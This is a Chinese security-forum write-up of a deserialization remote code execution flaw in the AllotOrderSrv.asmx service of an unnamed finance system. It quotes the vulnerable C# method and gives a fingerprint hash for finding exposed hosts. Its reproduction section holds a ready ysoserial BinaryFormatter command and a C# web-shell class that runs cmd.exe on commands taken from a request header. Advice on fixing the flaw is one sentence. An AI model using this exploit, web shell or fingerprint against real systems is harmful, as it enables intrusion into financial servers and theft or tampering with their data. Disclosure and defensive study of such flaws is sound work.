问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
【热点】某财务系统远程代码执行漏洞分析
漏洞分析
某财务系统远程代码执行漏洞分析
一、漏洞简介 ====== 某财务系统远程代码执行漏洞分析:`Serializer.Deserialize(queryObject);`触发`binaryformatter`反序列化导致远程代码执行 二、影响版本 ====== 某财务系统页面无版本号,属于较中版本 三、漏洞原理分析 ======== 代码--xxx\\AllotOrderSrv.asmx ```php <%@ WebService Language="C#" CodeBehind="AllotOrderSrv.asmx.cs" Class="Genersoft.QYZJ.TR.WebService.AllotOrderSrv" %> ``` 类位置触发点代码方法,可以看到就是`GetBizEntityList`方法传递`queryObject`参数`TRDBZLQueryEntity query = (TRDBZLQueryEntity)Serializer.Deserialize(queryObject);`触发binaryformatter反序列化 ```php Genersoft.QYZJ.TR.WebService.AllotOrderSrv ``` ```php using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Web.Services; using Genersoft.Platform.Core.Common; using Genersoft.QYZJ.TR.Core; using Genersoft.QYZJ.TR.SPI; namespace Genersoft.QYZJ.TR.WebService { // Token: 0x0200000B RID: 11 [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] [WebService(Namespace = "http://tempuri.org/")] [ToolboxItem(false)] public class AllotOrderSrv : WebService { // Token: 0x0600004D RID: 77 RVA: 0x00002870 File Offset: 0x00000A70 [WebMethod(EnableSession = true, Description = "根据查询条件获取付款指令列表")] public byte[] GetBizEntityList(byte[] queryObject) { TRDBZLQueryEntity query = (TRDBZLQueryEntity)Serializer.Deserialize(queryObject); IList bizEntityList = new TRDBZLMgr().GetBizEntityList(query); return Serializer.ByteSerialize(bizEntityList); } ```  四、环境搭建(闭源系统可提供网络测绘语法和截图) ======================== 指纹--`闭源系统` ```php web.icon="0575617b57d30c920feac12c440c11c3" ```  五、漏洞复现 ====== 路由 ```php xxx\AllotOrderSrv.asmx ``` 命令执行-exp ```php yso ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Web.dll;System.dll" ``` ```php class E { public E() { System.Web.HttpContext context = System.Web.HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe"; string cmd = context.Request.Headers["cmd"]; process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.Start(); string output = process.StandardOutput.ReadToEnd(); context.Response.Write(output); } catch (System.Exception) {} context.Response.Flush(); context.Response.End(); } } ```  六、总结 ==== 修复某财务系统远程代码执行漏洞 AllotOrderSrv.asmx的`Serializer.Deserialize(queryObject);`触发`binaryformatter`反序列化导致远程代码执行
发表于 2025-07-04 16:29:18
阅读 ( 184 )
分类:
Web应用
1 推荐
收藏
0 条评论
请先
登录
后评论
123彡
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!